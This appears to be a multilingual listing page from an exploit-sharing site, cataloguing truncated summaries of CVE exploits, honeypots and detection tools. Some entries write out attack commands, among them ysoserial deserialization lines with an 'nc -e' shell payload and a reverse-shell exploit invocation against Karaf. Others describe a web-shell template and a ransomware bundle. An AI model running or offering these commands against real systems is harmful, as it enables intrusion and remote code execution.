CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

weblogic_honeypot

वेबलॉजिक हनीपॉट Cymmetria Research, 2018. https://www.cymmetria.com/ द्वारा लिखित: Omer Cohen @omercnet विशेष धन्यवाद: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev संपर्क: [email protected] वेबलॉजिक हनीपॉट एक कम-इंटरैक्शन हनीपॉट है जो Oracle Fusion Middleware के Oracle WebLogic Server घट...

RancidCrisco

RancidCrisco PoC minimo funzionante per CVE-2023-20126 Questa è la versione iniziale. Funziona, ma è l'exploit del 'caso più semplice'. Testato e funzionante su SPA112/SPA122 - SPA232D richiede un'immagine firmware diversa. Fornisce una root-shell sulla porta 23000/tcp. Devo ancora ripulire la...

micros_honeypot

MICROS honeypot Cymmetria Research, 2018. https://www.cymmetria.com/ Scritto da: Omer Cohen @omercnet Un ringraziamento speciale a: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev Contatto: [email protected] MICROS Honeypot è un honeypot a bassa interazione per rilevare CVE-2018-2636 nel...

Netgear-ssl-vpn-20211222-CVE-2022-29383

Netgear-ssl-vpn-20211222 CVE-2022-29383 NETGEAR ProSafe SSL VPN Vulnerabilidade de injeção SQL existente em scgi-bin/platform.cgi Versão do firmware： FVS336Gv2 - FVS336Gv3 Comando sqlmap Vulnerabilidade de injeção SQL: USERDBDomains.Domainname...

CVE-2022-37042

CVE-2022-37042 Template Nuclei weaponizzato per Zimbra CVE-2022-37042 percorso della shell: /public/formatter.jsp Nuclei stesso: https://github.com/projectdiscovery/nuclei La shell ha un input nascosto con opacità 0, quindi basta passare il mouse sopra, digitare il comando e premere il tasto Invi...

pmanager

Pmanager Demo Description Store and retrieve your passwords from a secure offline database. Check if your passwords has leaked previously to prevent targeted password reuse attacks. Why develop another password manager ? This project was initially born from my desire to learn Rust. I was tired of...

pmanager

Pmanager Demo Descrizione Archivia e recupera le tue password da un database offline sicuro. Verifica se le tue password sono state precedentemente esposte per prevenire attacchi mirati di riutilizzo delle password. Perché sviluppare un altro gestore di password? Questo progetto è nato inizialmen...

ThinkCMF_getshell

Vulnerabilità di inclusione arbitraria di contenuti nel framework ThinkCMFgetshell Un attaccante remoto, senza richiedere alcun privilegio, può eseguire codice arbitrario sul server remoto inviando un pacchetto di richiesta appositamente costruito. utilizzo python: + python ThinkCMFgetshell.py...

St2-057

St2-057 Online-Zielumgebung, Viel Spaß! 0x01 Docker-Umgebung aufsetzen https://github.com/vulhub/vulhub/tree/master/struts2/s2-048 root@kitploit: docker-compose up -d 0x02 st2-057-Schwachstellenumgebung aufsetzen root@kitploit: docker exec -i -t 88fd8d560155 /bin/bash Im Hintergrund starten und i...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Eine Authentifizierungs-Bypass-Schwachstelle in der Web-Komponente von Ivanti ICS 9.x, 22.x und Ivanti Policy Secure ermöglicht es einem entfernten Angreifer, durch Umgehung von Kontrollprüfungen auf eingeschränkte Ressourcen zuzugreifen. Verwendung: ./CVE-2023-46805.sh...

CVE-2022-2992

CVE-2022-2992 Esecuzione remota autenticata di comandi in Gitlab tramite importazione da GitHub. Una vulnerabilità in GitLab CE/EE che interessa tutte le versioni dalla 11.10 precedenti alla 15.1.6, tutte le versioni dalla 15.2 precedenti alla 15.2.4, tutte le versioni dalla 15.3 precedenti alla...

CVE-2025-32462

CVE-2025-32462 – sudo POC-Skript Dies ist ein CVE‑2025‑32462 -Erkennungsskript für Privilege Escalation, das zwei Modi bietet: direkte sudo-Erkennung und Erkennung von Traversal durch nicht privilegierte Benutzer. Dateistruktur Datei| Beschreibung ---|--- poc.sh| Schwachstellen-Verifizierungsdate...

CVE-2022-0185

CVE-2022-0185 Este repositório contém exploits de demonstração para o CVE-2022-0185. Há duas versões aqui. A versão não-kctf versão fuse tem como alvo específico o Ubuntu com versão de kernel 5.11.0-44. Ela não retorna diretamente um shell root, mas torna o /bin/bash suid, o que leva a uma escala...

dirtypipe-ebpf_detection

dirtypipe-ebpfdetection -- Ferramenta de detecção do Dirtypipe Este programa foi criado para detectar tentativas de exploração do Dirty Pipe graças ao eBPF. Ele também monitora kernels não vulneráveis e contêineres Docker. 🛫 Se quiser mais detalhes sobre como funciona, leia o post do blog ! 🛬 Com...

Rootsmart-v2.0

Rootsmart 2.0 con cve-2019-2215 + Ransomware Dichiarazione di non responsabilità Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215. Descrizione del progetto Questo progetto fa parte del modulo Mobile Security del...

lightwave

Cos'è Lightwave Project Lightwave è un progetto open source composto da servizi di gestione delle identità e degli accessi di livello enterprise, progettati per affrontare le sfide critiche di sicurezza, governance e conformità per le app cloud-native all'interno dell'impresa. Attraverso...

CVE-2020-0601-EXP

CVE-2020-0601-EXP Diese Ressource ist die Reproduktion der Microsoft-Signaturzertifikat-Schwachstelle CVE-2020-0601 durch den Autor, umgesetzt unter Einbeziehung relevanter Ressourcen und Artikel. Es wird empfohlen, zusammen mit dem Blog des Autors den ECC-Algorithmus und den...

offsec-karaf-exploits

offsec-karaf-exploits Verwendung: root@kitploit: python exploit.py --help Beispiel: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Payload neu erstellen Felix Framework einrichten 1. Erstelle das lib-Verzeichnis...